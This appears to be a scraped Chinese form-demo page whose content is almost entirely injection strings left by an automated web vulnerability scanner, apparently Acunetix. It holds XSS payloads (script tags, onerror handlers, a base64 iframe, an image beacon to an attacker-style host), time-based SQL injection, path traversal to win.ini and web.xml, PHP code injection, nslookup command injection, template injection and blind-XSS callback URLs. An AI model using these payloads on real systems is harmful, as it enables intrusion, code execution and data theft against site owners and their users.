评论-关联表单调用演示用它来扩展多种类型表单 比如产品订购等
01/01/1967<img sRc='http://attacker-9919/log.php?
01/01/1967<132tLm x=9751>
01/01/1967<ifRAme sRc=9445.com></IfRamE>
01/01/1967<WU0SQQ>REZVJ[!+!]</WU0SQQ>
01/01/1967_i6ndh
<ScRiPt >TTJ4(9330)</ScRiPt>
01/01/1967<% contenteditable onresize=TTJ4(9671)>
01/01/1967}body{acu:Expre/**/SSion(TTJ4(9672))}
01/01/1967<img<!-- --> src=x onerror=alert(9785);//><!-- -->
[url=http://www.vulnweb.com][/url]
<a HrEF=jaVaScRiPT:>
<a HrEF=http://www.vulnweb.com></a>
01/01/1967<input autofocus onfocus=TTJ4(9552)>
01/01/1967<ScRiPt>TTJ4(9664)</sCripT>
01/01/1967\u003CScRiPt\TTJ4(9788)\u003C/sCripT\u003E
%30%31%2F%30%31%2F%31%39%36%37%3C%53%63%52%69%50%74%20%3E%54%54%4A%34%289077%29%3C%2F%73%43%72%69%70%54%3E
01/01/1967<img/src=">" onerror=alert(9427)>
01/01/1967<img src=xyz OnErRor=TTJ4(9502)>
01/01/1967<img src=//testasp.vulnweb.com/t/dot.gif onload=TTJ4(9069)>
01/01/1967<body onload=TTJ4(9469)>
01/01/1967<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9236'>
01/01/1967<isindex type=image src=1 onerror=TTJ4(9702)>
01/01/1967<svg
01/01/1967<video><source onerror="javascript:TTJ4(9366)">
01/01/1967< ScRiPt
>TTJ4(9186)</ScRiPt>
01/01/1967<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9884></ScRiPt>
01/01/1967<ScRiPt
>TTJ4(9586)</ScRiPt>
01/01/1967<ScR<ScRiPt>IpT>TTJ4(9020)</sCr<ScRiPt>IpT>
01/01/1967<script>TTJ4(9155)</script>
01/01/1967<W1WXEL>CNXE7[!+!]</W1WXEL>
01/01/1967<ScRiPt >TTJ4(9471)</ScRiPt>
{{9999585*9999617}}
CWS000x
acux7848
acu3007＜s1﹥s2ʺs3ʹuca3007
01/01/1967_9358
'"()&%<acx><ScRiPt >TTJ4(9922)</ScRiPt>
01/01/1967'"()&%<acx><ScRiPt >TTJ4(9984)</ScRiPt>
1acu7qb1MCm86y
aI6KYgs5'));select pg_sleep(5); --
gJ5mtrhV');select pg_sleep(15); --
2JtjhmAK';select pg_sleep(15); --
ZzZjULdX')); waitfor delay '0:0:15' --
MgjPdSlx'); waitfor delay '0:0:15' --
G7w5Fknn'; waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
(select(0)from(select(sleep(10)))v)/*'+(select(0)from(select(sleep(10)))v)+'"+(select(0)from(select(sleep(10)))v)+"*/
if(now()=sysdate(),sleep(10),0)/*'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0))OR"*/
-1" OR 2+819-819-1=0+0+0+1 --
-1' OR 2+622-622-1=0+0+0+1 or '57WvUt1s'='
-1' OR 2+983-983-1=0+0+0+1 --
-1 OR 2+524-524-1=0+0+0+1
-1 OR 2+500-500-1=0+0+0+1 --
niuQhgEN
01/01/1967
01/01/1967
zw8r4f5N'));select pg_sleep(6); --
LT8pHTwQ');select pg_sleep(6); --
FI5p3oOk';select pg_sleep(6); --
fcqeftXF')); waitfor delay '0:0:3' --
xDZtHFJw'); waitfor delay '0:0:9' --
eosPi4yW'; waitfor delay '0:0:6' --
1 waitfor delay '0:0:6' --
(select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
if(now()=sysdate(),sleep(3),0)/*'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"*/
-1" OR 2+920-920-1=0+0+0+1 --
-1' OR 2+540-540-1=0+0+0+1 or '5Q2drrzx'='
-1' OR 2+835-835-1=0+0+0+1 --
-1 OR 2+538-538-1=0+0+0+1
-1 OR 2+20-20-1=0+0+0+1 --
guF4gjh4
01/01/1967
01/01/1967
01/01/1967
01/01/1967
(select convert(int,CHAR(65)))
JyI=
WEB-INF\web.xml
@@ad5SV
WEB-INF/web.xml
1
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
\
1'"
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
..\..\..\..\..\..\..\..\windows\win.ini
................windowswin.ini
../../../../../../../../../../windows/win.ini .jpg
../../../../../../../../../../boot.ini
../../../../../../../../../../windows/win.ini
(select convert(int,CHAR(65)))
JyI=
@@XLAfS
1
\
1'"
WEB-INF\web.xml
WEB-INF/web.xml
unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
..\..\..\..\..\..\..\..\windows\win.ini
01/01/1967
................windowswin.ini
01/01/1967
../../../../../../../../../../windows/win.ini .jpg
../../../../../../../../../../boot.ini
../../../../../../../../../../windows/win.ini
01/01/1967_9853
'"()&%<acx><ScRiPt >ZC5U(9543)</ScRiPt>
01/01/1967'"()&%<acx><ScRiPt >ZC5U(9758)</ScRiPt>
${@print(md5(acunetix_wvs_security_test))}\
${@print(md5(acunetix_wvs_security_test))}
";print(md5(acunetix_wvs_security_test));$a="
';print(md5(acunetix_wvs_security_test));$a='
01/01/1967_9917
'"()&%<acx><ScRiPt >ZC5U(9663)</ScRiPt>
;print(md5(acunetix_wvs_security_test));
01/01/1967'"()&%<acx><ScRiPt >ZC5U(9762)</ScRiPt>
01/01/1967
01/01/1967
01/01/1967
${@print(md5(acunetix_wvs_security_test))}\
01/01/1967
${@print(md5(acunetix_wvs_security_test))}
<!--
";print(md5(acunetix_wvs_security_test));$a="
01/01/1967
'"
';print(md5(acunetix_wvs_security_test));$a='
;print(md5(acunetix_wvs_security_test));
01/01/1967
01/01/1967
<!--
'"
01/01/1967
01/01/1967
01/01/1967
testasp.vulnweb.com
index.php/.
http://testasp.vulnweb.com/t/fit.txt?.jpg
index.php
Http://testasp.vulnweb.com/t/fit.txt
index.php
1some_inexistent_file_with_long_name .jpg
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
/www.vulnweb.com
index.php/.
/www.vulnweb.com
index.php
index.php
testasp.vulnweb.com
01/01/1967
http://testasp.vulnweb.com/t/fit.txt?.jpg
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
01/01/1967
Http://testasp.vulnweb.com/t/fit.txt
1some_inexistent_file_with_long_name .jpg
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
^(#$!@#$)(()))******
!(()&&!|*|*|
01/01/1967
)
01/01/1967
http://hitO9gNrPWmJi.bxss.me/
http://hitCD7WV5TZnI.bxss.me/
^(#$!@#$)(()))******
!(()&&!|*|*|
)
01/01/1967
'"()
a:1:{s:9:"$acunetix";s:1:"1";}
01/01/1967
http://testasp.vulnweb.com/t/xss.html?%00.jpg
http://testasp.vulnweb.com/t/xss.html?%00.jpg
'"()
a:1:{s:9:"$acunetix";s:1:"1";}
&nslookup 9W8lMJk5&'\"`0&nslookup 9W8lMJk5&`'
a:1:{i:0;s:10:"01/01/1967";}
"+response.write(9968378*9387559)+"
$(nslookup z0Luf1Hp)
01/01/1967
set|set&set
'+response.write(9968378*9387559)+'
12345'"\'\");|]* {
< >
response.write(9968378*9387559)
01/01/1967
&nslookup xodY10HI&'\"`0&nslookup xodY10HI&`'
$(nslookup OCY6YIIV)
"+response.write(9555550*9980400)+"
a:1:{i:0;s:10:"01/01/1967";}
12345'"\'\");|]* {
< >
'+response.write(9555550*9980400)+'
set|set&set
response.write(9555550*9980400)
01/01/1967&n919692=v970658
01/01/1967
SW9qZUdGelh4dw==
01/01/1967
U1ZsQWhzaW5FbQ==
${9999084+9999940}
${9999931+9999451}
GioCu29l
FYVWYiAX
01/01/1967
01/01/1967
01/01/1967
01/01/1967
01/01/1967
